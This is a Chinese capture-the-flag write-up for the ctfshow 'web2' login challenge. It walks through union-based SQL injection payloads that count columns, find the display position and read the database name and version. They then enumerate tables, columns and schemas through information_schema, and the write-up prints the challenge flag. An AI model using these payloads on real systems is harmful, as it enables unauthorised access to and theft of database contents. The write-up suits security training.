ctfshow-web2(SQL注入)

打开题目链接,是一个登录框,尝试弱口令登录

ctfshow-web2(SQL注入)_第1张图片 没什么反应

ctfshow-web2(SQL注入)_第2张图片尝试万能密码登录

ctfshow-web2(SQL注入)_第3张图片 页面发生了变化

ctfshow-web2(SQL注入)_第4张图片

并未登录进去,但是有回显,大概率是SQL注入了

这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。

成功闭合之后先判断字段数

' or 1=1 order by 3 #

ctfshow-web2(SQL注入)_第5张图片

正常回显

ctfshow-web2(SQL注入)_第6张图片

' or 1=1 order by 4 #

ctfshow-web2(SQL注入)_第7张图片

无回显,说明只有3列

ctfshow-web2(SQL注入)_第8张图片

判断回显位

' or 1=1 union select 1,2,3 #

在2号位 

ctfshow-web2(SQL注入)_第9张图片

查数据库名

' or 1=1 union select 1,database(),3 #

数据库名为 web2 

ctfshow-web2(SQL注入)_第10张图片

查数据库版本

' or 1=1 union select 1,version(),3 #

MariaDB,第一次遇见不是在mysql下的

ctfshow-web2(SQL注入)_第11张图片

这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。

尝试查询数据库名为web2下的所有表名

' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

发现该数据库下有两个表:flag,user

ctfshow-web2(SQL注入)_第12张图片

查询数据库名为web2下表名为flag的列名信息

' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

该表下的列名也为flag 

ctfshow-web2(SQL注入)_第13张图片直接查该列的具体字段信息 

' or 1=1 union select 1,flag,3 from web2.flag #

拿到flag 

ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2} 

ctfshow-web2(SQL注入)_第14张图片

前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息

我们来获取一下所有数据库的数据库名

' or 1=1 union select 1,schema_name,3 from information_schema.schemata #

ctfshow-web2(SQL注入)_第15张图片

mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。

你可能感兴趣的:(web,CTF,SQL,sql,mariadb,SQL注入,mysql,database,web安全)